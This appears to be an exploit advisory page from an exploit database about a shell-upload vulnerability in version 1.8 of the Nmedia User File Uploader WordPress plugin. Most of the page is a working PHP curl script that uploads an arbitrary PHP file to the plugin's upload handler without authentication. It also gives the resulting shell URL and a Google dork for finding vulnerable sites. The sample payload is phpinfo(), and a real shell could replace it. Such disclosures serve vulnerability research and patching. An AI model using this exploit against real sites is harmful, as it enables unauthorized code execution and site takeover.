WordPress Nmedia User File Uploader Shell Upload

2012.06.06
Credit: Sammy FORGIT
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

################################################## # Description : Wordpress Plugins - Nmedia user file uploader Shell Upload Vulnerability # Version : 1.8 # Link : http://wordpress.org/extend/plugins/nmedia-user-file-uploader/ # Plugins : http://downloads.wordpress.org/plugin/nmedia-user-file-uploader.1.8.zip # Date : 26-05-2012 # Google Dork : inurl:/wp-content/plugins/nmedia-user-file-uploader/ # Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr ################################################## Exploit : PostShell.php <?php $uploadfile="lo.php"; $ch = curl_init("http://www.exemple.com/wordpress/wp-content/plugins/nmedia-user-file-uploader/doupload.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile", 'folder'=>'test')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> Shell Access : http://www.exemple.com/wordpress/wp-content/uploads/user_uploads/test/lo.php lo.php <?php phpinfo(); ?>

References:

http://wordpress.org/extend/plugins/nmedia-user-file-uploader/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top